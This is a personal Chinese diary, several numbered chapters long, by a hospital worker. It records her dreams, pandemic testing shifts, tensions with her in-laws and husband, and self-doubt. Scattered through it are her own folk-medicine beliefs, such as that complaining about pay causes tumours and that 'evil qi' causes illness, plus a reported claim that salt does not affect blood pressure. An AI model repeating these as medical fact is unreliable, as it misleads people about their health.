    早上的梦境。梦里面是梦到了一片像虚空一样的地方，然后有一个灰色的人形的灵魂，在那里说什么，然后就梦到了我以前的同事。她站在那个地方。然后那个灵魂说要离开那个鬼地方，他想要变成受精卵进入同事的身体里，然后他先去机器人那里试了一下，机器人的身体炸成了粉碎。然后梦里的我就在思考，为什么他可以通过受精卵的样子出去？如果他化成微小粒子，那他不是自己就可以通过缩小离开，而不是进入女性的身体。然后一个人给那个同事吃了一杯粥。让我感觉懵里懵懂的。然后就是下一个场景是一个车站。然后她在车站等到了一个孩子，孩子也对她笑了笑。反正我是搞不太懂。然后还有一个很大的灵魂，说这样子搞下去，人间界可能会散架子。但是我不太懂他讲的什么意思？
    难道是人造子宫？还是人工授精？搞不懂。
    那个同事才刚结婚没有多久，人工授精应该可能性不大，而且她的年龄比我小，应该不会太过于着急吧！搞不懂，小孩子都是需要缘分的，如果没有缘分，就是通过自己的身体生下一个孩子，我感觉会很累，而且生宝宝并不是不需要消耗身体的。不过别人的人生我也不太懂。对吧！究竟人家发生了什么我也不懂。我又不是八卦的人。可是我会梦见她。可能她结婚的时候，我给了她祝福吧！希望她的婚姻顺利。
    我感觉她的婚姻怎么样呢？我感觉还好吧！她嫁的人比较富有。但是我以前的同事和她在一起睡觉的说她比较有心机，抢了自己闺蜜的男朋友，因为自己闺蜜男朋友有钱有车有房。但是那个说这个事的同事也是一个奇奇怪怪的人。比如大半夜会跑你房间讲自己和谁的关系，然后讲了以后告诉你不能和别人讲，然后转头又去和其他同事讲的人，所以基本全医院都讲了一遍，感觉像假的。所以她说的话，可能就是引别人注意的那种。个人感觉。至于别人的私生活怎么讲呢？基本不去关注。
    我只知道你结婚了，然后我们就祝福。能够被你抢走，说明有缘分，闺蜜和她前男友没有缘分。是你的就是你的，不是你的就不是你的。是命。强求不来。能够被抢走说明对方也救了你一把，万一以后结婚了再被其他人抢走，不是正好说明可以及时止损。
    至于孩子，真的是看缘分。
    我不觉得她的人生很美好。不算很羡慕。主要我也没有那个脑筋。像别人打牌，打麻将，下象棋一样。不是这玩意不好玩，而是我根本不会玩。碰到了感觉不到快感，只有挫败感。那么就会说这玩意不好。吃不到葡萄就说葡萄酸。也挺好的。不是很羡慕别人的人生。反正她有她的好，我有我的好。反正家家有本难念的经。不管什么生活都难念。所以不去管别人的人生。
    希望她的情况会是好的吧！一切都是听老天爷安排。
    会不会感觉自己三观不正呢？如果我喜欢的人，他有了女朋友。我会不会去抢。不择手段。如果我足够喜欢他，我觉得我会选择不择手段。但是也正是因为足够喜欢他。所以可能会选择放弃。因为不择手段后面很难收场，名誉两个人都会受损。可能会影响气运之类的。然后他对女朋友不负责，那么他也有可能对我也不负责。不好。所以这种情况就是，如果很喜欢那就放弃对他的喜欢就是最好的喜欢。相濡以沫不如相忘于江湖。这种错误的喜欢会玷污自己心里面幻想中那个美好的对方的样子。
    如果我也结婚，对方也结婚，而对方喜欢我，那也一样，如果我也喜欢对方，那也一样。搞男人，不如搞事业。如果真的压制住了我的工作能力，只有那种七情六欲的能力，那真希望我能文笔好，妙笔生花，多写写文，可以在文章里幻想对方是什么样子，如此风度翩翩让人难以忘怀。但是现实世界，不管什么样的生活，都有很多一地鸡毛的东西让人很难受。茶米油盐真的很难很难。以前没结婚没男朋友的时候完全想象不出来这种生活。等结婚了以后就懂了。
    所以加油，好好生活。书籍里也有教我们好好生活的书。《爱的博弈》这是半佛推荐的。就看了一页。内容对自己的伴侣保持忠诚。别的我就没有看了。主要内容多，我当时的心情很复杂。就没有看。像亦舒写的关于男男女女的故事也是，我的前半生。书籍和电视剧是有出入的。书籍我没有怎么看懂。就像把自己内心里所有的对自己丈夫的愤怒发泄出来的感觉。别的我没有懂。电视剧的话，看了一点点，就是女主面对前夫和新妻子卖鞋那段，让我感觉很欣赏。这工作能力羡慕。别的没看。

 第241章

    今天早上去上班，五点多醒的，然后去医院吃好了早点。然后我错过了车，因为我以为司机六点多走，然后没有想到他一下子就走了，就只能自己骑车去上班的地方。两个同事都很优秀，做事我感觉质量还好，指挥部派的人。以后最后一趟的核酸要医务人员自己送了。真的是心碎。今天好几个点有状况，不过他们采的人很多。有好几千，比我们那个点多。我们不算最少。也一千四百多。后面因为我需要送核酸然后还有送垃圾，回医院，车就留在那里了。然后领导叫我十五点上班。帮忙给另一个领导做事。
    然后我就弄完那些东西就差不多两点了，找了好久没有找到休息的地方。去导诊那里想休息一下子，人家就过来问路。然后就去找有什么地方可以休息。后面就去了接待室。问了阿姨，她说最边上有房间。然后没想到医院没锁门。差点被领导看到了。然后就去找其他地方休息。后面就提前半个小时上班。因为想早点做完，早点下班。然后就过去了。然后就一直写写写。写到了快下班的时候，其他办公室的就过来了，说自己已经好几天没有休息了，明天还要听什么会议。整个人都心情不好了。因为医院需要二甲复审，所以全医院都在加班，几乎每天晚上都要加班加到晚上九点多。几乎所有医院评审都是这样子。人民医院，中医院也是这样子过来的。反正我们到了这个阶段。都在弄东西。
    然后我就在旁边听她讲了一下。整个人都不好了，写着写着就感觉自己有点晕。一开始干劲满满的，因为早点做完，早点下班。后面整个人都不好了。后面看了看时间，已经过了下班时间。然后我就和他们说我需要下班了。他们就算到了下班点，应该还在加班做事。行政班真的是看起来人家就会说坐办公桌是很爽的工作。真的要做起来就会感觉很痛苦的感觉。我的痛苦是因为我会受环境影响。还有脑子不灵光。还好。他们的话，我感觉可能是最近上班上太久了。感觉心情很复杂。
    我记得看了一篇别人写的行政班的一个文章，说有一个人做了很久的行政班，后来很痛苦的事。文章分析的东西忘了。我感觉看不懂，理论性的。
    我也不知道我要写什么。要表达什么。就是上班累，不管什么班都累。别人看人，就觉得你哦这个工作很好很好，然后你自己在这个岗位的就感觉很复杂。会感觉很难受，但是很难说出来。如果是我，我上班感觉很累，我不敢讲，因为讲了，怕人家认为我能力不足。然后万一让领导听见了，怕他会讲，或者把人家调走，可能我也不是不喜欢上班，我只是一时的情绪。谁都不是神人圣人，没办法时时刻刻保持良好的心态，这心态就是时不时崩一下，然后再恢复状态，但是万一有有心之人，造成的结果就比较心塞了。那上次来的心理老师就是说老师啊医生啊或者比较有文化的人啊，心情就更容易抑郁，因为他们都有这个形象在。有情绪没办法及时的出来，像普通的人，他想发火就发火，然后过去了，心里一阵轻松，睡觉都香，像他们就不行了，已经气到崩溃了，表面上还是一片很有耐心得样子，然后回去越想越气，我就是这种人，如果生气的话，我会气到一两个月都好不了的那种，或者是时不时回忆一下自己难受生气的事，然后再生气几个月。我突然之间就想起了我的坐月子的事，那个时候的心情真的是都一年多了，宝宝都一岁多了，我还是想起来就生气。我以为我老公是很喜欢我的，后面坐月子的时候，发现他很多事情都只是听他妈妈的，就算他是大学毕业的人，有知识有文化，还是会去听他妈妈说的东西，然后后面表现的也感觉，他认为我什么都不懂。后面这一个月以后，宝宝带完六个月，我也没有心情去管了，我也没有办法。比如我要教宝宝用勺子，家婆就说宝宝不会学。各种各样的小事。让我没心情。几乎每一个月都很想把他弟弟打一遍，因为就是我相信孩子的眼睛都是纯真的，他至少不会骗人，会有缘分就是会有缘分，结果结婚以后事事不顺心。然后我心情不好，他弟弟每次都烦我。究竟是因为我心情不好召唤他弟弟过来烦我的，还是他让我感到烦躁的呢我也不知道。每次回忆坐月子，就想把他表姐骂一顿，在隔离医院上班这一个月，我几乎天天都想骂她。因为她每次来我家，就和我家婆讲别人家的媳妇不好的事。我每次听到我就在想，是我家婆对我有意见吗？所以通过她的嘴巴来指责我的不是？所以她讲了以后当时不会生气，以后的每一天，都骂她，天天骂，天天骂，一天不骂，不得劲。每天都在心里骂她。如果我家婆对我有意见，我结婚以前和她讲了，我不爱搞卫生，她也过来看了我的房间，知道我是一个什么样的人，你想通过婚姻来改变我，我妈妈都没有办法把我搞定，我就是个乱世佳人，不喜欢拖地，不喜欢搞卫生，你当时就答应了，就同意了，然后结婚了你就是另一个样子，你说这是不是骗婚？等我老了来，如果我有儿子取我这样子的媳妇，可能我也会被气死。不管怎么样都做不好，我也搞不懂，为什么会有婚姻这么磨人的东西？结婚前所有的优雅气质，内心平和的心境，后面天天都想骂人，一天不骂不得劲。
    今天我老公不知道为什么还钱给我了。他借了我的钱，我也没有想到过他会还，然后他今天还我了。没什么太大的感觉。
    昨天不知道为什么想到了婚姻观。我以前很欣赏我叔叔，他也是农村出生的人，一穷二白，但是他结婚以后通过自己的努力，也买车买房了，他有特长，会写书法，然后他结婚以后也是一个持之以恒的人，几乎每天都写书法，每天练，然后还会洗碗洗衣服会带娃会炒菜。就是看到了婶婶的幸福生活，个人感觉农村的男孩子其实也是有有出息的。后面选中老公也有这个因素，像我的话像小孩子心境，婶婶也是这种人。对她的感觉还好。但是他们也吵架，我老公的话，相亲的时候就说自己会努力的，后面结婚了发现他很爱打游戏，每天好累就打游戏。但是我们吵架个人感觉不算特别的多。两种生活都有好的地方吧！婶婶的话，很多亲戚都对她的生活羡慕嫉妒的感觉，只要她们羡慕一次，婶婶就吵架一次，可能婶婶是一个承载不了别人羡慕嫉妒的心情吧！我感觉我也是这样子的人。
    在慢慢的夜路下，搭着我老公的车，靠他背上还是比较有安全感的。天生就是死穷鬼，这个命运我也不想认啊！但是就是这样子的命，那就得接受。好好把握当下的快乐。
    今天我家婆做了好多好辣又好咸的菜，我以为我家公会感觉非常的快乐，因为这种又咸又辣的菜都是他爱吃的，然后他又在讲自己吃饭没味道，也不晓得他什么心理，搞不懂哦。我在隔离医院上班那些天，食堂都是有辣椒的菜，不吃也得吃，那能怎么办，以前我也很爱吃辣椒的菜，后面奶奶爱吃甜食，考虑老人家然后就改掉了我的习惯，我感觉老的时候吃自己喜欢的菜，是一件很幸福的事吧！后面慢慢的变得很清淡，后来就发现清淡的食物能够感受得了食物原本的灵魂的味道，这个应该是想象，因为吃的太好，饿的。然后就清淡。后面的话，嫁了我老公一家，他们就爱吃辣的，但是知道我吃甜的，他们就改了，主要我怀孕了，怀宝宝确实不要太过于的咸辣，后面就长时间的清淡。清淡也好，咸辣也好，其实人的适应能力很强悍的。心里的成见放下去了，就很容易。
    我家公今天我一进门就叫我老鳖屎。我不知道他这句话什么意思。为什么一进门就讲这个词。我当时没有发火，我感觉我现在好生气。我不感觉我和家公的关系，可以到这种程度。他和老公弟弟讲，还差不多。因为他经常对老公弟弟讲，所以听习惯了，感觉很正常，然后他讲我的时候，我在想他为什么这样子讲？沟通与后辈的感情？纯粹就想骂我一顿？
    反正我把他曾经对我娘家那边不开心的话讲给我娘家了。我爷爷可能不会与我家有来往了，以后可能会让我爸爸来走亲戚。我也不太想爷爷来。因为家公对爷爷有意见，彩礼的事。他觉得不值。很多时候他讲话给我的感觉就是这样子，其实我爷爷也不想我嫁这样子的家庭，但是没办法，我喜欢。缘分就是这样子。
    我不太想爷爷来，因为路途遥远，
    这段时间不知道为什么会去想爷爷的教育方式有问题。但是我并不认为他教的有问题。他教我要勤俭节约。我做到了，他教我要开源节流，我没有做到。这不是他教的有问题，我的吸收就是这样子，神仙也拿我没办法。为人品行，我感觉还行吧！至少在以前我没有对我自己失望过。我不是一个很自信的人，从小是这样子，长大还是这样子，我宝宝也是这样子。我胆子就是小，从前很小，现在也小。

 第242章

    昨天气了一晚上。然后又笑又气。最后找家公问他，为什么这样子讲我，那个时候可能凌晨几点钟了。气的几乎没怎么休息。不过不是特意去找他的，是刚好他去上厕所，顺便问了一下。他说没有这样子讲。说过的话，不算数。搞得我都气了一晚上。
    好气哦！
    我感觉今天醒来，我都好累。我可能碰到了什么鬼一样。一晚上都在生气。
    昨天的梦境，梦里面是一个女孩子很小的孩子，然后她在梦里生活，我不记得她讲的什么了，然后本来有什么事情将要发生的，然后她又进入了梦境的梦里面。后面我在找她，找到的时候问了什么奇怪的问题。我记不清了。梦里的剧情也记不清了。后面心情好像好了一点点，为什么会好了一点点我也不知道。
    昨天的场景有点像以前出现过的。我在一个地方等车，等我老公接，然后那个场景很像在哪里碰到过，就像曾经发生过一样，然后感觉到自己身上有灰色的东西在动。我在想一个问题。为什么它会讲谁叫我学习那么好呢？为什么会讲这个问题？可能我心里比较喜欢的东西不像大众喜欢的东西，思想天马行空，喜欢做一些有趣的工作，然后我处于这样子的环境，可是我的思想确实是天马行空，今天相当一个做奶茶的，明天想当老师，后天想当做衣服的，简直就是一天一个念头，感觉别人的生活都很有趣。都是乐在其中的。不像我的，找不到技巧和意义。还有乐趣，最近看了一个小短片，说每个人都在羡慕别人，后面一个羡慕一个，最后回归了原点。我看了这个，不知道在想什么？可能也会有人羡慕过我吧！可能吧！但是为什么我不能乐在其中？很讨厌朝秦暮楚，很讨厌身在曹营心在汉的感觉，可是我不知道为什么会这样子。
    最近在看慢慢仙途，凡人界的小说，以前我看过一遍，我的心境我发现不一样了，以前看这篇小说，我感受得了一些一句话的情绪，每次看到心里面都会涌起万千种思绪。现在不知道为什么感觉这篇文章里的内容，好像不是以前的感觉了。可能理解能力加深了，而那种感同身受的能力变弱了，以前我的老师说年龄小的时候，理解能力不足，但是记忆力好，等长大了，就理解能力很好，记忆力就不好了。所以那些老人家他们很有智慧，但是他们也记不太清很有事情。叫我们要在年少时好好学习努力，他教的课文，我可能忘了讲的啥。但是这个事我记得清楚。
    我记得我们以前有篇课文叫珍珠泉。可能是泉水会冒泡泡，写的真的是让那个时候读书的我感觉自己就在泉水边，里面真的会有好看的珍珠一样，看到泉水会很幸福。至于内容忘了。而现在就算真的有珍珠泉，会冒泡泡的那种水过来我估计也没有了欣赏它的情感，可能我老了，没有童真，没有了天真，也可能是因为生活里有很多东西都需要功名利禄，追名琢利，让我忘记了欣赏和感受的本意。
    有的时候会遗憾自己这个世界不是修真界，像我这样子天天有感悟的人，没准时不时就涨了几个境界。可是看到了那个阶段。女主在面对那些人要抢宝贝需要十万人的血液的时候的那段，让我有点失望。好多人的生命就这么一闪而逝。没有很多小说里的像超人一样的人，也许这才是实际情况吧！就像一些故事里讲过，如果我们这些很弱小的人到了修仙的世界，碰到了两个大佬在打架，时不时山河破碎，周边几个小村庄来几个魔门底子，可能看小说是很有趣，但是如果是小老百姓能不能活到六十岁都是一个问题。
    我们在这世界可能我们是那些历史长河里那些衣不遮体，食不果腹的那群人最羡慕的生活了。可是我们的内心并没有太过于强烈的好好生活好好生存的愿望，因为我们满足了这个好好生存的条件，剩下的就是获得成就感，获得爱与归属，自我实现了。可能我想多了吧！

 第243章

    梦境。前几天的就是梦到了一个男的，他说我是哪一个人的女人？然后他的场景出现在了现实世界，可是他的灵魂又不是在真实世界。然后我就骂他一肚子坏水。前面的剧情就忘了。
    昨日的梦境。梦里面是有一个桥。然后有好多个灵魂从那个桥过去进去之后，人就不见了。然后有好多人从桥底下过去，每次他们过去的时候桥下面就会闪一些明亮的光芒。然后我好像也过去了。进去那个世界，好像是一个大公主的角色。具体什么内容忘了。感觉像童话一样，然后穿的衣服很好看，但是我脱离了那个角色梦里面梦到了自己的家，然后进入了自己娘家的家里面，梦里面我看到了妹妹，然后看到了一堆的果蒂，然后我就说那些果子蒂不要扔了。还可以做小零食。因为小时候好像有一个零食是这个东西做的。然后梦里面有人在问我的爷爷，问他为什么你的二女儿教育的很好，为什么你的大女儿就教成这个样子呢？爷爷说那是她自己选择的。梦境里面我突然想起了一篇小说《抠门兔的精致生活》。我也不是我爷爷的女儿啊！我记得以前看这篇小说就很开心。梦里面出现了一个皇帝，他说他你喜欢我，但是我好像是一个死样子。让他心累。梦境里他在那个房间对我说，你知道吗？我其实对你比较感兴趣，但是为什么你会是这个样子呢？后面他说算了，你的出身不好。然后一瞬间他的灵魂就变丑了之前他的灵魂是很好看的白色，后面他说完了这段话以后他的灵魂就变成了暗一些的颜色。后面有好多黑色的脑子说原来如此。
    不过我并不理解我的这个梦境。不过我想起了一些事情。小时候奶奶抱着妹妹，然后我好生气，就掐了妹妹的手心，后来妹妹就反掐回我。我比较讨厌姐姐这个角色。我感觉我这个样子好丑，就把自己当成了妹妹的妈妈。可能是因为这样子的原因，所以导致我自己习惯了匮乏的感觉。因为自己内心很多的需求是没有选择去满足的。所以导致自己长大之后变得会更像小孩子一样。然后节约的意识是深入到了骨髓里面，不然在梦境里面是不会想到连果皮上一点点的肉也不愿意扔。
    就是角色混乱。但愿我能好起来吧！不过我也搞不懂我为什么梦见这个？可能代表我会慢慢的好起来？可能吧！

 第245章

    梦境，梦里面是一片很黑暗的天空。我们的时空可能出现了裂缝。然后有一些妖怪溜了进来，然后一个女孩子的爸爸把一块什么时候放到了裂缝中，那些东西就很难再出来，然后在出来的东西好像一只蛤蟆精，吐了好长的黑色的舌头把女孩子抓住了然后说要折磨她。女孩子的能量像明亮的光芒一样。然后在黑色的世界里一点点消磨。然后我就醒了。
    这个梦境是什么意思。还有一点点剧情，梦里面是有一个灰蓝色的婆婆引诱着一个小小的孩子往河里走，才出现了这样子的一幕。
    如果蛤蟆精代表的是自己，那也就是癞蛤蟆想吃天鹅肉，痴心妄想成精的意思吗？然后它有超长的舌头把人裹住，是不是意味着我喉咙痛。一开始牙痛，吃了药好多了，就没有吃药了。后面喉咙痛了。可能还得吃一点。可能是邪气入体。
    昨天也就去了妇科，拿一些卡，以前我包了红包给同事，然后他们回了卡给护士长，然后去拿卡。有点丢人的感觉。但是还好吧！习惯了。然后我要准备把书给下一个人。老师可能会更难受一些，毕竟她教了我那么久，她对我的期待肯定比其他人更高。更希望我能独立上班。但是我做也确实没有做好。师傅领进门修行在个人。后面到了医务科，医务科那里说很希望我去中医科，然后和中医科那里说了。说中医科的说她们肯定会批评我的。那样子我又会出错。所以不要。这样子的处境好尴尬啊！
    但是也没有办法。我这个脑子真的不知道怎么转的？只有有人和我说一句，你在哪里哪里待的好，然后一整天都在出错。难道是我不能哪里哪里都好？我不能待在好地方？为什么我不能待在好地方？我也搞不懂。还是我潜意识里就是不能待在好地方？为什么？
    我最近的痴心妄想是什么？我想要买一个摄影机，然后再学会摄影的东西，然后看看我能不能也做自媒体。昨天抱怨的就是自己看不懂这些东西。难道这个梦提醒的是自己分享的生活有可能会给宝宝带来不好的影响？不知道？
    有的时候不能抱怨自己的工资少，抱怨多了，可能自己身体里会长肿瘤。特别是在医院上班。我之前一个同事，他抱怨自己的工资少，然后他脑子里就长了黑色的东西，当时看着他时候觉得很奇怪。不知道那是什么？也不敢去讲，然后后来就有了肿瘤。去市里的医院开刀了。还好现在科技进步，救的回来。
    所以医院上班不能抱怨自己的工资少。难道我上班的时候抱怨了自己工资少？不知道。所以邪气入体？
    不知道什么原因？

 第246章

    不知道为什么想起了一个词，芸芸众生。以前结婚那段日子，看了很多人来人往的女人的样子，有老有少，她们在带孩子来看病。我想我可能也会像芸芸众生一样辛苦吧！我又不比别人高贵什么，和她们并没有什么分别。有的衣衫褴褛，其实也没有那么严重，就是穿的更旧一点，还有的精神上没有那么愉快，感觉很愤怒，还有的一看就是一脸的疲惫，感觉她整个人就像一层白的灵魂在强撑着，然后周围都是黑蒙蒙的。我想如果我结婚了也会像她们一样辛苦吧！同事说看到了一个很优雅的女士，她带娃的时候，整个人的优雅都没有了。以前很爱干净整个人都是整整齐齐的人的家里有了小孩子以后整个家都和牛栏一样，哪里都是乱糟糟的，也就是蓬年过节或者家里有客人才收拾一下。让我目瞪口呆。但是好像哪里的家都是这个样子。并没有什么特别。一方面我梦想有一个抽象的家，干净整洁温馨，一方面又不得不接受现实无论是什么样的家，真实的体会了都会感受到一般般。都是朴实无华。好像不是用这个词的，算了其他的词我也暂时想不出来，以后想起来了也懒得改。也就一些文字而已，改来改去多麻烦。就算想起来了也忘记了记录那份心情的意境。
    今天不知道是自己的人格还是脑子里进了别人的意识，天天都在叫我辞职。辞职了我的人生会变得更好吗？肯定不好啊！我到哪里都一个样子，我会拿别人的不舒服的人生剧本待在自己脑子里，没有哪一天会过的好？明明别人就算有不舒服或者辛苦的时刻，他们也会有开心和幸福的时刻上天都是公平的，而我只收集别人痛苦的能量，那我不是到哪里都是一个衰样子。我没有办法让所有人都快乐，生命的能量是在流动和运转的，有好有坏。

 第247章

    今天下午休。早上的梦境，昨天晚上基本一晚上没有睡。可是还能做梦，真是奇了怪了。梦里面是一个南瓜头一样的男人。然后他拿了什么东西，给一个人，他是从外国来的，而他的身份是假信息。然后下一个场景是一个娃娃车，好像是宝宝的，然后一个男的给了我一本本那本书灰蒙蒙的颜色，好像是什么不详的东西，他说交给你了，然后梦里面的我叫了我家公爸爸叫他出来看一下，家公问那个人叫什么名字，他就站在那里。后面我的意识好像从那个世界出来了。没有很久。因为我又没有真的睡着。晚上很晚几乎没有睡，感觉自己的身体很干燥。
    最近我们这里好久没有下雨了。听说哪里起了火，烧的很大，还有别的地方的消防员过来帮忙。还有的地方烧了很多的消防员。他们牺牲了，大部分都留在了十八九岁的年纪。好几个地方缺水，昨天有个亲戚过来了，说乡下缺水，很难打到水。不知道怎么办？

 第248章

    昨晚没有梦境。我的手很热，可能是阴虚。然后计划这几天去看医生。
    我脑子里的思想最近很奇怪。老是在说不要结婚。为什么会这样子？最近家婆做的菜比较多的辣椒，我也能吃辣，最近难道是吃了我做的泡椒花生的原因，导致我整个人都不舒服？这次做的没有上次做的那么好吃，而且好咸。然后我又舍不得花了那么多材料，后面吃完了，然后再弄了腐竹去，以前我也是这样子做的，我感觉很好吃也不咸。可能买的泡椒水不一样，感觉不吃完就在浪费材料。反正没事就有这个念头。为什么它会产生？这是我内心里的声音？要认真的听和感觉。
    难道是老公的原因？老公最近也没有惹我生气的地方。最近心情比较平和，但是我的周围会有黑色的能量。好像时不时出来一样。苍蝇不叮无缝的蛋。肯定是哪里有裂缝才会进入我身体里面吧！
    到底什么原因呢？
    我老公的家境一般般，我也一般般。门当互对的穷。我不是没有去认识条件比我好的人，基本上人家男方家里也怕我会是伏地魔，有的认识的人个人感觉还好，他会认为自己丑，有的是希望自己能够娶个家庭条件好的，可以少奋斗十年。女孩子有目标有追求，男孩子也一样的。感觉我这样子写好像现在的我在嫌弃我老公。我为什么嫌弃他呢？
    一个人生活的时候是比较孤独。然后我一般比较晚洗澡，他在九点就会叫我去洗澡，天天赶我去，好烦。然后这个人很晚睡，天天打游戏。其实我也喜欢打游戏，可是我不能打游戏。几乎一年才玩一次。我有点很希望他上进，会是一个工作狂魔，然后工作能力出众，最后升职加薪达到买车买房的目地。但是他上班其实也挺累的，每天下班就想打游戏，宣泄自己的负能量。和我的目地相违背。我为什么不做工作狂魔？要他来呢？因为我能力太强，他家里人给我的感觉他们不喜欢，可能太优秀了，老是会很认真的指出家里的一些错误，所以他们会觉得我不尊重长辈，不尊重我老公，明明很认真的为了他们好，他们却不喜欢。所以后面我的脑子就没有了野心，也没有动力，天天都想回家种田，政治这玩意我不太懂，生活却又是需要很多政治的东西。一个人的时候没有那么复杂，你今天想吃甜的，我就吃甜的，明天想吃咸的我就吃咸口的。而结婚了，家婆做了好吃一点的，我夸她，她说我夸的不好。是吧！说话是门技术，我技术不佳。可能我不喜欢那么复杂的东西吧！我以前也没有讲过她做的菜难吃，直说很咸，因为她有高血压才和她讲，人家不愿意听，还和其他的亲戚讲，然后其他的亲戚到家里来说，是因为那里当官的人就不吃咸的，他们小老百姓就是要吃咸的。才有力气。只要讲了就基本上这样子。所以我也不讲了，咸就咸吧！最近看了一点点倪海厦的说咸其实和高血压没有什么关系。
    可是我学的高血压不能吃太咸。很多的学的内容都相违背。不学不行，学了发现学不懂了。我的无知。很烦恼的事。然后中医的知识我根本看不懂。很烦。现代医学的我也很多知识不是很丰富，很烦恼。太急了就会好焦虑。因为自己的知识匮乏而焦虑。以前一个人的时候起早床学习，结婚了我就没有了。睡觉比以前晚，我一般十一点睡，现在十二点。我以前的追求是十点钟睡觉，结婚了没有达到这个目地还更晚了。我讨厌这个状态。而且晚上睡不好，思虑好多，几乎每天晚上都在折磨自己。很讨厌。小时候都不会这样子。可能我年纪大了吧！再过几年就是奔三的人了。肯定身体没有十几岁好，以前也看到了年纪比我们大的人说过，他们以前天天熬夜，第二天仍然生龙活虎，然后到了三十岁左右就熬不动夜了，熬夜一天好几天就不得劲。我需要根据自己的情况调整。
    我的拖延好厉害，最近想洗鞋子，然后好几天都不动。然后好想给我亲妈买衣服，还有爸爸。爷爷奶奶。可是钱不够。可是不买不行。以前是把孝心当成一种任务。其实我心里也没有什么太多的感觉。只是大家都在做我也做。给自己的妈妈买衣服。以前也不是很舍得花钱。买的衣服也不算很好，反正实惠吧！结婚以后就更少了，其实娘家的衣服也很多，好一个大房间都是当的旧衣服，毕竟以前都是吃苦耐劳的人不舍得扔，姑姑几十年前的都有。
    最近还有很多奇奇怪怪的念头，老公他表姐给我家婆买了一件几百块的外套。我好希望自己可以拿一个麻袋去他表姐家装旧衣服穿。这个想法让我很没有面子，其实我还想去我姑姑家装衣服穿，以前我就是过这个日子，可能过习惯了，买衣服好贵，我又不知道怎么挑。可是我结婚了，我需要自己买衣服了，独立生活，买自己喜欢的衣服。可是我现在的家让我感觉很穷，我好想买衣服，买了几件就感觉自己很穷，好像再买几件就在透支我的未来了。现在的我又塞不进过去的衣服了。都和我家婆讲了坐月子还有怀孕不要那么油腻的菜。又没有办法，人家生完了根本就没有胖，我都胖了三十斤。以前都是穿m码的人，现在穿xL。要花更多的钱，而且形象又不好，还有我的肚子好大，我都做了腹直肌修复，可是这几个月还是很大。不吃东西就没有精神，吃了东西又胖。好烦。
    刷到一篇文章。说要嫁给自己喜欢的人，不然日子就过的像演戏一样。我为什么要刷到这个文？一边一些文章就在说要嫁给自己合适的人不能光看喜欢，不然一辈子就过的心累。就像有一个段子说的，有人说兔子不吃窝边草，也有人说近水楼台先得月。后面不记得了，基本上都是相反的东西，那听谁的？人生本来就像小马过河一样，同一条河，有的人腿长一下子，有的人腿短很难，有的人刚刚好，都要自己体会过了才明白，没去经历也不懂。
    听话，我以前是一个听话的人吗？好像也没有吧！那我以前是一个不听话的人吗？好像也没有吧！有的人会说我比较老实。可是我不太懂。我只是感觉自己肾气虚，天生不是一个聪明的人，然后又懒不勤快，很羡慕别人，看人家做事很快，很有干劲很麻利。
    不知道为什么想到了小时候做艾米果的事。奶奶说不想做，然后和芳芳讲了，她说如果是她的话，奶奶不做，就自己采艾草，自己做，然后我就采了一点点，其实我也不知道量是多少，去给奶奶看，然后奶奶说很少根本做不了，后面她就没有做，我也没有做。她年纪比较大，而且没有那么多精力去做这些事，我的话，比较呆，然后她说不做，我就不做。并没有反抗过，或者其他。因为我也不知道方法是什么？又没有面粉，然后那个时候的我也不大。我妈妈打工去了。奶奶的话身体不算很好，她没精力。不去外面打工就没有什么经济收入，去外面打工嘛就家里小孩照顾不了，算了这都是命。最近的脑子里在说爷爷奶奶的教育方式不对。这都是命。爷爷奶奶说我会比爸爸妈妈好，等我长大了成年了我发现我和爸爸妈妈其实并没有什么分别。都是这样子。爸爸嘴巴笨，不会说好听的，我也是。妈妈总是会病理性反驳，就像抬杠的人一样。我也是，我每次上班和领导和同事说话，下完了班，我都想掐死自己，我觉得我当时的我没有顶嘴。可是我感觉我说的话，让我感觉我脑子带不动，在顶嘴。
    总在回忆一些没有意义的事。它们在我的脑子里不停的动。越是拒绝，越是闹腾。
    回到上面的思考点。
    我一个人的生活，我会过的比现在好吗？我过不好。一个人的表面安静其实并不安静，因为内心和脑子里好多纷纷扰扰的声音。这些东西让我感觉一直纠缠着我，然后就变得很糟糕。慢慢的那种。思虑太多伤脾。也有可能是脾虚所以太多的思虑。
    有的时候在想中医是不是外星人那里来的，有的时候在想现代医学是不是外星人那里来的？有的时候又在想我是不是外星人那里来的？为什么总在想那么多为什么？这有什么意义？这会让我开心吗？这会让我有钱吗？这会让我今天晚上能睡个好觉吗？为什么我老是会想那么多为什么？可能我是一个比较有创造力想象力的人吧！或者中医和现代医学都难得让人头秃，感觉我再也不是小时候那个一学就通，一点就会的人了。小时候学东西是一走神抓回去看了还能懂，现在是一走神，后面完全看不懂。我感觉我走神就是大脑在保护我让我的小心灵不被深奥的东西给打击到。可是我还是比较想学。可是我并没有感觉到我的热爱。
    回忆起以前有一个人，我也不认识，他说我以后可能会是一个废物，因为我没有热爱的东西，虽然我的很多门课程都很好，而且还是年纪和班级的中等生，但是以后的我会是一个废物。那个时候我读初中。因为我的灵魂没有热爱的东西。好几天都在回忆起那个场景。记得那个时候奶奶说叫我赶紧走，不要听他讲话，那个时候我没有听奶奶的话，因为我认为我需要保持礼貌，他是客人。后面有好多次脑子里都在回忆那个场景，在想要是听奶奶的话，我就不会是个废物吗？废物的定义是什么？所有的物资都是生生不息的。也许不小心食物掉在了地上，对于人来说这些人来说，浪费了，对于其他生物来说是很珍贵的粮食。
    那我是废物吗？是什么导致我感觉自己是废物呢？我没有能力吗？能力不足？为别人提供价值的能力。我能够为别人做什么？能够做到什么程度才会让我感觉我有价值呢？

 第249章

看小红书真的容易上瘾。为什么我那么容易上瘾。嗑瓜子一嗑就停不下来，就像自己八百年没吃过瓜子一样。不理解。

 第250章

    梦境。梦境里面是我现在的家，家里面出来了一个灰蓝色的大的人，好像是我的意识，说自己在数着日子过，还有三万天的样子，我就要死了。
    然后就是下一个场景，场景里是老公乡下的家，梦里的我不想上班，不想做什么，就在家里的山上待着。梦里在问这样子的我孩子怎么办？然后梦里的孩子像一个圆圆的眼睛竖起来的魔鬼一样，梦里说孩子关我什么事？
    然后下一个场景就是老公乡下的山出现了一辆车，我们要搭那辆车走。梦里我要上那辆车，它们不让我上，后面我要上那辆车，后面就上去了，我家公抱着宝宝也上来了，还有一个女孩子也上来了，很小的女孩子。后面车走到了一个地方，在那个地方，梦里的我很生气的喝了一碗萝卜汤。反正我都要生病的。梦里的我很生气的讲。然后我醒了。我也不知道什么意思。
